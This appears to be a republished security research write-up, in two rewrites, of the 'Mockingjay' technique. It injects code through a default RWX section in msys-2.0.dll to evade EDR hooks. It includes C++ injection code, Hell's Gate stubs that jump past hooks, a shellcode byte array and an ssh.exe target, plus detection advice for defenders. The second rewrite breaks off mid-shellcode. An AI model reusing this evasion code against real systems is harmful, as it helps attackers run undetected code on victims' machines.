Process Mockingjay: Echoing RWX In Userland To Achieve Code Execution
The researchers found that a DLL shipped with Visual Studio 2022 contains a memory section marked both writable and executable by default. By loading that DLL and copying code into the section, they could run code in a process without calling the Windows functions that endpoint security products usually monitor.
Published on securityjoes.com
Our research team is committed to continuously identifying potential security vulnerabilities and techniques that threat actors may exploit to bypass existing security controls. In this blog post, our team is detailing on a comprehensive research specifically focused on process injection techniques utilized by…
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
Security Joes' research team set out to find a way to execute code inside Windows processes without calling the Windows APIs that EDR and XDR products hook. Process injection, in the general sense, is any method that places code into the memory space of a process, either the calling process (self-injection) or another one. Attackers use it to hide code, to borrow the identity of a trusted process, or to manipulate a process's behaviour.
The team's premise is that EDRs commonly hook several of the Windows APIs that publicly documented injection techniques rely on. If a technique can avoid those APIs entirely, the hooks have nothing to inspect. The result is a technique they call Mockingjay: instead of allocating memory and marking it executable, it reuses a section that a legitimate DLL already ships as Read-Write-Execute (RWX), copies code into it, and lets the target process run it as part of its normal flow.
The write-up compares the common injection families by the APIs they need:
| Name | Description | Required Windows APIs |
|---|---|---|
| Self Injection | Malware packers use it; the injecting process is also the target. | VirtualAlloc, LocalAlloc, GlobalAlloc; VirtualProtect |
| Classic DLL Injection | Injects a malicious DLL into another process, which then loads it from disk in a new thread. | VirtualAllocEx; WriteProcessMemory; LoadLibrary; CreateRemoteThread, NtCreateThreadEx or RtlCreateUserThread |
| PE Injection | Maps a whole PE into a running process, imitating the Windows loader with relocation descriptors. | VirtualAllocEx; WriteProcessMemory; CreateRemoteThread |
| Process Hollowing / Run PE | Replaces the target's code and resources, leaving a legitimate-looking shell that hosts the payload. | CreateProcess; NtUnmapViewOfSection; VirtualAllocEx; WriteProcessMemory; SetThreadContext; ResumeThread |
| Thread Execution Hijacking | Redirects an existing thread's execution to arbitrary code. | OpenThread; SuspendThread; VirtualAllocEx; WriteProcessMemory; SetThreadContext |
| Mapping Injection | Maps attacker-controlled code into the target from an existing section via NtMapViewOfSection, avoiding explicit RWX allocation. | OpenProcess, CreateProcess; NtCreateSection; NtMapViewOfSection; RtlCreateUserThread |
| APC Injection and Atombombing | Abuses Asynchronous Procedure Calls to run code in a target process. | OpenThread; QueueUserAPC |
| Process Doppelganging | Uses transactional NTFS (TxF) and process loading to create a process that looks legitimate but runs malicious code. | CreateTransaction; CreateFileTransacted; RollbackTransaction; NtCreateProcessEx |
Each of these leaves a characteristic pattern of API calls that defenders can key on.
Setup
The work is a proof of concept built by the research team, not an attack against a customer. The tests used a Windows system with a commercial EDR installed, and the vulnerable DLL and target binary came from a Visual Studio 2022 Community installation. The team wrote a custom application, referred to in the write-up as nightmare.exe, to drive the injection. No specific Windows version, EDR vendor or product version is given.
Finding it
How EDR userland hooks work
When a process starts, the EDR is notified and attaches its own dynamic library to it. It then patches functions inside the in-memory copy of NTDLL.DLL by changing their byte code. NTDLL is the preferred target because it sits between user applications and the kernel.
The write-up shows the difference by comparing the on-disk and in-memory copies of NtProtectVirtualMemory on a machine with a commercial EDR:
Original Function On-Disk: EDR Hooked Function In-Memory:
---------------------- -----------------------
mov r10, rcx mov r10, rcx
mov eax, 50h jmp 0x7ffaeadea621
test byte ptr [0x7FFE0h], 1 test byte ptr [0x7FFE0h], 1
jne 0x17e76540ea5 jne 0x17e76540ea5
syscall syscall
ret ret
The EDR replaced the original mov eax, 50h with a jmp to a location where it inspects the call. If the inspection flags malicious activity, the EDR halts the process. The stub later jumps to the test instruction that follows the EDR's jmp.
The gap the team looked for
Reviewing public techniques, the team noticed that two operations are always present: allocating memory and setting its protection to RWX so the code can be written and executed. Both go through the syscalls NtWriteVirtualMemory and NtProtectVirtualMemory, which EDRs monitor closely. The plan was therefore to find PE files already present in the OS that contain a default RWX section, so that neither allocation nor protection changes are needed.
The research split into two stages: find a DLL with a default RWX section, then build an injection technique that abuses it.
Locating the DLL
The team wrote a tool that walked the whole file system, opened every DLL it found and checked its sections for default RWX permissions.
The scan found msys-2.0.dll inside Visual Studio 2022 Community. Opening it in PE-Bear confirmed the section layout.
The DLL offers 16 KB of RWX space, enough to host injected code and execute it under the protections the DLL already carries, bypassing any userland hooks on the APIs that would normally be needed to prepare memory.
Exploitation
Two methods were tested against the same DLL: self-injection with EDR unhooking, and injection into a remote process.
Step 1: load the DLL and resolve the RWX section
The custom application loads the vulnerable DLL with LoadLibraryW and obtains its base address with GetModuleInformation. The RWX section address is the base plus a fixed offset.
int main(int argc, char *argv[])
{
// Load the vulnerable DLL
HMODULE hDll = ::LoadLibraryW(L"path_to_vulnerable_dll");
if (hDll == nullptr) {
// fail
}
MODULEINFO moduleInfo;
if (!::GetModuleInformation(
::GetCurrentProcess(),
hDll,
&moduleInfo,
sizeof(MODULEINFO))
) {
// fail
}
// Access the default RWX section (Vulnerable DLL address + offset)
LPVOID rwxSectionAddr = (LPVOID)((PBYTE)moduleInfo.lpBaseOfDll + RWX_SECTION_OFFSET);
// Write the injected code to the RWX section
WriteCodeToSection(rwxSectionAddr , injectedCode);
// Execute the injected code
ExecuteCodeFromSection(rwxSectionAddr);
Because the DLL is loaded into the application's own memory, the RWX section is directly writable and executable. No allocation and no permission change are required.
The team then wrapped the section's start and end addresses in a structure, SectionDescriptor, so the stub builder can track where the next stub goes and where the section ends.
// Create SectionDescriptor structure
SectionDescriptor descriptor = SectionDescriptor {
rwxSectionAddr,
(LPVOID)((PBYTE)rwxSectionAddr + RWX_SECTION_SIZE)
};
Step 2: rebuild syscall stubs inside the RWX section
To demonstrate the section's use, the PoC implements the Hell's Gate unhooking technique. Hell's Gate builds a syscall stub in the main executable, extracts syscall numbers from a clean NTDLL.DLL, and passes them to the stub. It needs an unaltered NTDLL, so the PoC loads a pristine copy from disk and parses the PE to get the numbers. The write-up notes this may not be ideal for Red Team scenarios, but none of the tests were detected by any EDR.
The stub builder checks for space, writes the syscall number and the address of the test instruction that follows the EDR's jmp, and advances the next-stub pointer.
LPVOID createSyscallStub(SectionDescriptor &descriptor, LPVOID testLocation, uint32_t syscallNumber)
{
BYTE stub[] = {
0x49, 0x89, 0xca, // mov r10, rcx
0xb8, 0x00, 0x00, 0x00, 0x00, // mov eax, 0x0
0xFF, 0x25, 0x00, 0x00, 0x00, 0x00, // jmp qword ptr [rip]
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
};
ULONG stubSize = sizeof(stub);
if (((PBYTE)descriptor.nextStubAddr + stubSize) > descriptor.endSectionAddr) {
// fail
}
memcpy((uint32_t *)&stub[4], &syscallNumber, sizeof(uint32_t));
memcpy((PVOID *)&stub[14], &testLocation, sizeof(PVOID));
auto stubAddr = descriptor.nextStubAddr;
memcpy((PBYTE *)stubAddr, &stub, stubSize);
printf("[!] Stub created at 0x%p\n", stubAddr);
descriptor.nextStubAddr = ((PBYTE)descriptor.nextStubAddr) + stubSize;
return stubAddr;
}
The stub sets up r10 and eax as a normal syscall would, then jumps indirectly to the test instruction after the EDR's hook, skipping the inspection. The write-up omits the parsing code that extracts the syscall numbers from the on-disk NTDLL.
The full self-injection flow:
- The custom application loads the vulnerable DLL with LoadLibraryW.
- The RWX section is located from the DLL base plus the section offset.
- A clean NTDLL.DLL is loaded from disk and the syscall numbers are extracted.
- The addresses of the
testinstructions after each EDRjmpare read from the hooked in-memory NTDLL. - Stubs are assembled in the RWX area using those numbers and addresses.
- When a stub runs, it places the syscall number in EAX and jumps straight to the corresponding
testinstruction, bypassing the EDR check.
With this, the team injected shellcode into nightmare.exe without calling NtWriteVirtualMemory or NtProtectVirtualMemory. The injected shellcode removed all EDR inline userland hooks without triggering detection.
Step 3: pick a remote target that loads the DLL
For remote injection, the target must be a non-malicious binary that depends on msys-2.0.dll. The team notes the DLL is used by applications needing POSIX emulation, such as GNU utilities, and found suitable binaries in the Visual Studio 2022 Community subdirectory. They chose ssh.exe from that directory.
The custom application starts ssh.exe as a child process with CreateProcessW. The arguments do not need to point at a real machine; they only trigger the binary's execution logic.
LPTSTR command = L"C:\\Program Files\\Microsoft Visual Studio\\2022\\Community\\Common7\\IDE\\CommonExtensions\\Microsoft\\TeamFoundation\\Team Explorer\\Git\\usr\\bin\\ssh.exe";
LPTSTR args = L"ssh.exe [redacted]";
STARTUPINFOW si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
DWORD dwCreationFlags = 0;
BOOL success = ::CreateProcessW(
command,
args,
nullptr,
nullptr,
FALSE,
dwCreationFlags | DEBUG_ONLY_THIS_PROCESS | DEBUG_PROCESS,
nullptr,
nullptr,
&si,
&pi);
Step 4: write the payload into the remote RWX section
With the process running, the application opens a handle and writes the payload directly into the RWX section. The write-up shows the payload buffer commented out and the calls that follow:
/*unsigned char buf[] =
"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\xfe\x00\x00\x00\x3e"
"\x4c\x8d\x85\x0b\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xff\xd5\x48\x31\xc9\x41\xba\xf0\xb5\xa2\x56\xff"
"\xd5\x48\x65\x6c\x6c\x6f\x2c\x20\x4a\x4f\x45\x53\x21\x00"
"\x41\x6c\x65\x72\x74\x00";
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE,
pi.dwProcessId);
if (hProcess == nullptr) {
printf("[x] ReadProcessMemory failed with status 0x%x\n",
::GetLastError());
return 1;
}
if (!DebugActiveProcess(4236)) {
printf("[x] DebugActiveProcess failed with status 0x%x\n",
::GetLastError());
::CloseHandle(hProcess); return 1;
} SIZE_T bytesWritten = 0;
if (!WriteProcessMemory(hProcess, (LPVOID)0x21022D120, buf,
sizeof(buf), &bytesWritten)) {
printf("[x] WriteProcessMemory failed with status 0x%x\n",
::GetLastError());
}
The write goes to a hardcoded address, 0x21022D120, because the targeted DLL does not use Address Space Layout Randomization: the RWX section's address is stable across runs, so no runtime resolution is needed. The write-up does not explain the DebugActiveProcess call or the process ID passed to it.
Step 5: let the target run the code
No thread is created in the target. The application waits for ssh.exe's normal execution flow to reach the RWX section, at which point the injected code runs. In the PoC the shellcode loads an additional DLL, MyLibrary.dll, which opens a back connect shell to an external machine; the write-up notes the DLL's behaviour can be anything the developer wants.
The remote injection flow:
- The custom application runs.
- A trusted application (ssh.exe) that uses msys-2.0.dll is launched as a child process.
- The application opens a handle to ssh.exe.
- The code is copied into the RWX section of msys-2.0.dll.
- ssh.exe executes the injected code during its normal flow.
- The shellcode loads MyLibrary.dll.
- A back connect shell is established.
The tests showed the code running in ssh.exe without EDR detection. The distinguishing property is that nothing is allocated, no protection is changed and no thread is created in the target, which is what makes the technique hard for an EDR to spot.
Root cause
The weakness is in the DLL, not in the injection code: msys-2.0.dll ships a section marked RWX by default, so any process that loads it exposes writable and executable memory without asking the operating system for it. Because the memory already exists with the right permissions, the APIs that EDRs hook to catch allocation and protection changes are never called. The write-up also notes the targeted DLL does not employ ASLR, so the section address is stable and can be hardcoded. In the self-injection case the EDR hooks are bypassed by rebuilding syscall stubs from a clean NTDLL; in the remote case the write goes through WriteProcessMemory, but no thread is created and no protection is changed.
Impact
The write-up describes attackers using this technique to evade userland hooks and inject code into the process space of trusted software. In the PoC this meant injecting into ssh.exe and establishing a back connect shell, and in the self-injection case removing all EDR inline userland hooks from the process. The write-up stresses that msys-2.0.dll is only one example and that many other DLLs may share the characteristic, which makes static monitoring of specific DLLs or syscalls insufficient. The technique requires a suitable DLL to be present and loaded, and in the remote case the target must depend on that DLL; the write-up does not claim it works against arbitrary processes.
Fix
The write-up does not describe a patch to the DLL or a vendor response. Its recommendations are defensive: go beyond static monitoring of specific DLLs or system calls and add behavioural analysis, anomaly detection and machine learning to spot injection into trusted processes. It also lists detection ideas for defenders:
- Look for GNU utilities launched by suspicious or uncommon processes.
- Look for network connections to non-standard ports from processes such as ssh.exe or any other GNU utility.
- Keep a database of DLLs with these characteristics and watch for load attempts by non-legitimate processes.
- Use reputation systems that assign trust levels to DLLs based on source, digital certificates, historical behaviour and section characteristics.
On the prevention side it recommends dynamic analysis of runtime behaviour, behavioural analysis for anomalies, signature-based detection for known patterns, reputation-based flagging, and robust memory protection to prevent unauthorised code execution.
Variants to test
- Scan for other RWX sections. Run a tool that walks the file system, opens each DLL and checks section characteristics for RWX. A positive result is a DLL with a default RWX section large enough to hold a stub or shellcode.
- Check for missing ASLR. For any candidate DLL, check whether it is built with ASLR. A positive result is a stable section address across runs, which allows a hardcoded write address.
- Look for POSIX-emulation dependencies. Enumerate processes that load libraries such as msys-2.0.dll and check whether they are started by unusual parents. A positive result is a GNU utility launched by a process that would not normally do so.
- Watch for non-standard outbound connections. Monitor processes such as ssh.exe for connections to non-standard ports. A positive result is an outbound connection that does not match the process's normal behaviour.
- Test hook integrity. Compare in-memory NTDLL functions with their on-disk copies and look for
jmppatches at function entry. A positive result is a hook that can be bypassed by jumping to the instruction after it, as the Hell's Gate stub does.
What happened, in plain words
A security research team wanted to find a new way to run their own code inside other programs on a Windows computer, without the security software that watches for this kind of behaviour noticing. They succeeded, and they named the technique "Mockingjay".
To understand why this matters, you need a little background. On Windows, every running program (a "process") has its own private area of memory, like a desk only that program can use. Sometimes attackers want to put their own instructions onto someone else's desk, so the code runs while pretending to be a trusted program. This is called process injection. Security products called EDR (Endpoint Detection and Response) are designed to spot it. They do this by placing tiny tripwires, called hooks, on Windows functions commonly used by injection methods.
The team's idea was simple in principle: what if you could run code without ever touching those tripwired functions? Instead of asking Windows for fresh memory and marking it as executable, they looked for a library file that already ships with a chunk of memory marked as readable, writable and executable. Then they just copied their code into that ready-made chunk. No allocation, no permission change, no new thread. The technique avoids the allocation and protection APIs the hooks guard, reducing the chance of detection.
This article walks through the whole research in the same order the team presented it: the background on injection, how EDR hooks work, how they found the vulnerable library, the two injection methods they built, what it means for security, and how defenders can look for it. Every concept is explained from scratch, and every piece of code is explained line by line.
Background: what process injection is
A process is a running program. When you open a browser, Windows creates a process for it and gives it a private region of memory. Other programs cannot normally read or write that memory.
Process injection is any technique that puts code into a process's memory so that the code runs. There are two flavours:
- Self-injection: the program injects code into its own memory. Malware packers (tools that wrap malware to hide it) often do this.
- Remote injection: one program injects code into a different, usually legitimate, program. The attacker does this to borrow the trusted program's identity, to hide, or to change how that program behaves.
To inject code, attackers traditionally rely on a sequence of Windows APIs. An API (Application Programming Interface) is a function that one piece of software offers to another. Think of it as a service counter: you walk up, hand over your request, and the counter does the work for you. Windows offers thousands of these counters, and programs call them to do things like reserve memory or start a thread.
A thread is the part of a process that actually executes instructions. A process can have one or many threads. Starting a new thread inside another process is one of the classic ways to make injected code run.
The team compared the most common injection methods and the APIs each one needs. The table below is from the write-up:
| Name | Description | Required Windows APIs |
|---|---|---|
| Self Injection | Malware packers use it; the injecting process is also the target. | VirtualAlloc, LocalAlloc, GlobalAlloc; VirtualProtect |
| Classic DLL Injection | Injects a malicious DLL into another process, which then loads it from disk in a new thread. | VirtualAllocEx; WriteProcessMemory; LoadLibrary; CreateRemoteThread, NtCreateThreadEx or RtlCreateUserThread |
| PE Injection | Maps a whole PE into a running process, imitating the Windows loader with relocation descriptors. | VirtualAllocEx; WriteProcessMemory; CreateRemoteThread |
| Process Hollowing / Run PE | Replaces the target's code and resources, leaving a legitimate-looking shell that hosts the payload. | CreateProcess; NtUnmapViewOfSection; VirtualAllocEx; WriteProcessMemory; SetThreadContext; ResumeThread |
| Thread Execution Hijacking | Redirects an existing thread's execution to arbitrary code. | OpenThread; SuspendThread; VirtualAllocEx; WriteProcessMemory; SetThreadContext |
| Mapping Injection | Maps attacker-controlled code into the target from an existing section via NtMapViewOfSection, avoiding explicit RWX allocation. | OpenProcess, CreateProcess; NtCreateSection; NtMapViewOfSection; RtlCreateUserThread |
| APC Injection and Atombombing | Abuses Asynchronous Procedure Calls to run code in a target process. | OpenThread; QueueUserAPC |
| Process Doppelganging | Uses transactional NTFS (TxF) and process loading to create a process that looks legitimate but runs malicious code. | CreateTransaction; CreateFileTransacted; RollbackTransaction; NtCreateProcessEx |
A few terms from that table need unpacking:
- A DLL (Dynamic Link Library) is a file full of reusable code that many programs can load and share. Think of it as a toolbox that several workers borrow from.
- A PE (Portable Executable) is the standard file format for Windows programs and DLLs. It describes the code, the data, and how the file should be laid out in memory.
- RWX stands for Read, Write, Execute. It describes what a program is allowed to do with a chunk of memory: read it, change it, or run it as code. RWX is the most permissive setting possible, and security tools treat it with suspicion because it is exactly what you need to run injected code.
- ASLR (Address Space Layout Randomization) is a Windows feature that shuffles where things sit in memory each time a program runs, so an attacker cannot predict addresses. Without ASLR, addresses stay the same every run.
- POSIX is a family of standards for operating systems like Linux. Programs written for POSIX systems sometimes need a compatibility layer to run on Windows.
Every method in the table leaves a characteristic trail of API calls. That trail is what defenders look for.
How EDR hooks work
An EDR is security software that watches what happens on a computer and tries to stop malicious behaviour. One of its main tricks is the userland hook.
When a process starts, the EDR is notified and attaches its own library to that process. It then reaches into the in-memory copy of a Windows system library called NTDLL.DLL and changes a few bytes of certain functions. NTDLL is the layer that sits between ordinary programs and the Windows kernel (the core of the operating system), so it is the ideal place to intercept calls.
The write-up shows the difference by comparing the on-disk and in-memory copies of a function called NtProtectVirtualMemory on a machine with a commercial EDR installed:
Original Function On-Disk: EDR Hooked Function In-Memory:
---------------------- -----------------------
mov r10, rcx mov r10, rcx
mov eax, 50h jmp 0x7ffaeadea621
test byte ptr [0x7FFE0h], 1 test byte ptr [0x7FFE0h], 1
jne 0x17e76540ea5 jne 0x17e76540ea5
syscall syscall
ret ret
This is assembly language, the low-level instructions a processor understands. Line by line:
mov r10, rcxcopies a value from one processor register (a tiny storage slot) to another. Both versions do this.mov eax, 50hputs the number 0x50 into the EAX register. That number is the syscall number, an identifier that tells Windows which kernel service to run. In the hooked version, this line is gone.jmp 0x7ffaeadea621is a jump to a specific memory address. The EDR has replaced the original instruction with this jump, sending execution to its own inspection code. This is the hook.test byte ptr [0x7FFE0h], 1checks a specific byte in memory and sets a flag based on the result.jne 0x17e76540ea5means "jump if not equal": if the flag from the previous test says so, jump to another address.syscalltells the processor to switch into the kernel and perform the service identified by EAX.retreturns from the function.
So the EDR swapped one instruction for a jump to its own code. If that code decides the call looks malicious, the EDR stops the process. The test instruction after the jump is important later: the team's stub jumps straight to it, skipping the inspection.
The gap the team looked for
Reviewing public techniques, the team noticed that two operations always appear: reserving memory, and marking that memory as RWX so code can be written and run. Both go through two kernel services, NtWriteVirtualMemory and NtProtectVirtualMemory, which EDRs watch closely.
The plan followed from that: find PE files already present on the system that contain a section marked RWX by default. If such a section exists, you need neither allocation nor a permission change. You just copy your code in and let the program run it.
The research split into two stages: find a DLL with a default RWX section, then build an injection technique that abuses it.
Finding the vulnerable DLL
The team wrote a tool that walked the entire file system, opened every DLL it found, and checked each one's sections for default RWX permissions. Think of it as walking through every toolbox in a building and checking whether any of them already has a compartment you can write into and run from.
The scan found msys-2.0.dll inside Visual Studio 2022 Community. Visual Studio is Microsoft's programming environment; its installation folder happens to bundle many tools, including this DLL. Opening the DLL in a tool called PE-Bear confirmed the section layout.
The DLL offers 16 KB of RWX space. That is enough to hold injected code and run it under the protections the DLL already carries, so the APIs that would normally be needed to prepare memory are never called, and the hooks on them have nothing to inspect.
Exploitation: two methods
Two methods were tested against the same DLL: self-injection with EDR unhooking, and injection into a separate process.
Step 1: load the DLL and find the RWX section
The custom application loads the vulnerable DLL with LoadLibraryW and gets its base address with GetModuleInformation. The RWX section sits at the base address plus a fixed offset.
int main(int argc, char *argv[])
{
// Load the vulnerable DLL
HMODULE hDll = ::LoadLibraryW(L"path_to_vulnerable_dll");
if (hDll == nullptr) {
// fail
}
MODULEINFO moduleInfo;
if (!::GetModuleInformation(
::GetCurrentProcess(),
hDll,
&moduleInfo,
sizeof(MODULEINFO))
) {
// fail
}
// Access the default RWX section (Vulnerable DLL address + offset)
LPVOID rwxSectionAddr = (LPVOID)((PBYTE)moduleInfo.lpBaseOfDll + RWX_SECTION_OFFSET);
// Write the injected code to the RWX section
WriteCodeToSection(rwxSectionAddr , injectedCode);
// Execute the injected code
ExecuteCodeFromSection(rwxSectionAddr);
Line by line:
int main(int argc, char *argv[])is the entry point of a C or C++ program, where execution begins.HMODULE hDll = ::LoadLibraryW(L"path_to_vulnerable_dll");asks Windows to load the DLL into this program's memory.HMODULEis a handle, a reference to the loaded library.LoadLibraryWis the Windows API that does the loading.if (hDll == nullptr) { // fail }checks whether loading failed.nullptrmeans "nothing".MODULEINFO moduleInfo;declares a structure (a bundle of related values) that will hold information about the loaded module.GetModuleInformation(...)fills that structure. It takes the current process, the DLL handle, a pointer to the structure, and the structure's size. If it returns false, the code fails.LPVOID rwxSectionAddr = (LPVOID)((PBYTE)moduleInfo.lpBaseOfDll + RWX_SECTION_OFFSET);computes the address of the RWX section: the DLL's base address plus a fixed offset.LPVOIDis a generic pointer type, andPBYTEis a pointer to bytes, used here for pointer arithmetic.WriteCodeToSection(rwxSectionAddr , injectedCode);copies the code into that section. Because the section is already writable, no permission change is needed.ExecuteCodeFromSection(rwxSectionAddr);runs the code. Because the section is already executable, no permission change is needed here either.
The key point: because the DLL is loaded into the application's own memory, the RWX section is directly writable and executable. No allocation and no permission change are required.
The team then wrapped the section's start and end addresses in a structure called SectionDescriptor, so the stub builder can track where the next stub goes and where the section ends.
// Create SectionDescriptor structure
SectionDescriptor descriptor = SectionDescriptor {
rwxSectionAddr,
(LPVOID)((PBYTE)rwxSectionAddr + RWX_SECTION_SIZE)
};
Line by line:
SectionDescriptor descriptor = SectionDescriptor { ... };creates a value of the structure type and fills in its two fields.rwxSectionAddris the starting address of the section.(LPVOID)((PBYTE)rwxSectionAddr + RWX_SECTION_SIZE)is the ending address: the start plus the section's size. The casts convert between pointer types so the arithmetic works on bytes.
Step 2: rebuild syscall stubs inside the RWX section
To show the section can be used, the proof of concept implements a technique called Hell's Gate. A syscall stub is a tiny piece of code that prepares a syscall number and then asks the kernel to perform the service. Hell's Gate builds such stubs in the main program, extracts the correct syscall numbers from a clean copy of NTDLL.DLL, and passes them to the stub. It needs an unaltered NTDLL, so the PoC loads a pristine copy from disk and parses the PE file to get the numbers. The write-up notes this may not be ideal for Red Team scenarios (simulated attacks), but none of the tests were detected by any EDR.
The stub builder checks for space, writes the syscall number and the address of the test instruction that follows the EDR's jmp, and advances the next-stub pointer.
LPVOID createSyscallStub(SectionDescriptor &descriptor, LPVOID testLocation, uint32_t syscallNumber)
{
BYTE stub[] = {
0x49, 0x89, 0xca, // mov r10, rcx
0xb8, 0x00, 0x00, 0x00, 0x00, // mov eax, 0x0
0xFF, 0x25, 0x00, 0x00, 0x00, 0x00, // jmp qword ptr [rip]
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
};
ULONG stubSize = sizeof(stub);
if (((PBYTE)descriptor.nextStubAddr + stubSize) > descriptor.endSectionAddr) {
// fail
}
memcpy((uint32_t *)&stub[4], &syscallNumber, sizeof(uint32_t));
memcpy((PVOID *)&stub[14], &testLocation, sizeof(PVOID));
auto stubAddr = descriptor.nextStubAddr;
memcpy((PBYTE *)stubAddr, &stub, stubSize);
printf("[!] Stub created at 0x%p\n", stubAddr);
descriptor.nextStubAddr = ((PBYTE)descriptor.nextStubAddr) + stubSize;
return stubAddr;
}
Line by line:
LPVOID createSyscallStub(...)declares a function that returns the address of the new stub. It takes the section descriptor, the address of thetestinstruction to jump to, and the syscall number.BYTE stub[] = { ... };is a template of machine code bytes. The comments translate them:mov r10, rcxcopies a register,mov eax, 0x0will hold the syscall number (placeholder zeros for now),jmp qword ptr [rip]is an indirect jump whose target is stored right after the instruction, and the trailing zeros are that target.ULONG stubSize = sizeof(stub);records how many bytes the stub occupies.if (((PBYTE)descriptor.nextStubAddr + stubSize) > descriptor.endSectionAddr) { // fail }checks whether there is room for another stub before the end of the section. If not, it fails.memcpy((uint32_t *)&stub[4], &syscallNumber, sizeof(uint32_t));copies the syscall number into the placeholder at offset 4, the bytes aftermov eax,.memcpy((PVOID *)&stub[14], &testLocation, sizeof(PVOID));copies the target address into the placeholder at offset 14, the bytes after the indirect jump.auto stubAddr = descriptor.nextStubAddr;remembers where this stub will live.memcpy((PBYTE *)stubAddr, &stub, stubSize);copies the finished stub into the RWX section.printf("[!] Stub created at 0x%p\n", stubAddr);prints the address for the operator.descriptor.nextStubAddr = ((PBYTE)descriptor.nextStubAddr) + stubSize;moves the pointer forward so the next stub goes after this one.return stubAddr;hands the address back to the caller.
The stub sets up r10 and eax as a normal syscall would, then jumps indirectly to the test instruction after the EDR's hook, skipping the inspection. The write-up omits the parsing code that extracts the syscall numbers from the on-disk NTDLL.
The full self-injection flow:
- The custom application loads the vulnerable DLL with LoadLibraryW.
- The RWX section is located from the DLL base plus the section offset.
- A clean NTDLL.DLL is loaded from disk and the syscall numbers are extracted.
- The addresses of the
testinstructions after each EDRjmpare read from the hooked in-memory NTDLL. - Stubs are assembled in the RWX area using those numbers and addresses.
- When a stub runs, it places the syscall number in EAX and jumps straight to the corresponding
testinstruction, bypassing the EDR check.
With this, the team injected shellcode into nightmare.exe without calling NtWriteVirtualMemory or NtProtectVirtualMemory. Shellcode is a small block of machine code designed to be run after being placed in memory. The injected shellcode removed all EDR inline userland hooks without triggering detection.
Step 3: pick a remote target that loads the DLL
For remote injection, the target must be a non-malicious binary that depends on msys-2.0.dll. The team notes the DLL is used by applications needing POSIX emulation, such as GNU utilities (common command-line tools), and found suitable binaries in the Visual Studio 2022 Community subdirectory. They chose ssh.exe from that directory. ssh.exe is the command-line client for SSH, a protocol for logging into other machines remotely.
The custom application starts ssh.exe as a child process with CreateProcessW. A child process is a process started by another process. The arguments do not need to point at a real machine; they only trigger the binary's execution logic.
LPTSTR command = L"C:\\Program Files\\Microsoft Visual Studio\\2022\\Community\\Common7\\IDE\\CommonExtensions\\Microsoft\\TeamFoundation\\Team Explorer\\Git\\usr\\bin\\ssh.exe";
LPTSTR args = L"ssh.exe [redacted]";
STARTUPINFOW si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
DWORD dwCreationFlags = 0;
BOOL success = ::CreateProcessW(
command,
args,
nullptr,
nullptr,
FALSE,
dwCreationFlags | DEBUG_ONLY_THIS_PROCESS | DEBUG_PROCESS,
nullptr,
nullptr,
&si,
&pi);
Line by line:
LPTSTR command = L"...ssh.exe";stores the full path to the target program. TheLprefix means a wide (Unicode) string.LPTSTR args = L"ssh.exe [redacted]";stores the command-line arguments.[redacted]looks like a username and host, but it does not need to be real.STARTUPINFOW si;andPROCESS_INFORMATION pi;declare two structures that Windows fills in when a process is created: one describes how the new process should start, the other receives information about it.ZeroMemory(&si, sizeof(si));andZeroMemory(&pi, sizeof(pi));clear both structures to zero so no leftover values cause trouble.si.cb = sizeof(si);sets the size field, which Windows requires.DWORD dwCreationFlags = 0;starts with no special flags.CreateProcessW(...)creates the new process. The flagsDEBUG_ONLY_THIS_PROCESS | DEBUG_PROCESSmake the new process a debuggee of the caller, which gives the caller extra control over it. The remaining arguments are mostly null or false, meaning default behaviour.
Step 4: write the payload into the remote RWX section
With the process running, the application opens a handle and writes the payload directly into the RWX section. A handle is a reference the operating system gives you when you open something, like a claim ticket. The write-up shows the payload buffer commented out and the calls that follow:
/*unsigned char buf[] =
"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
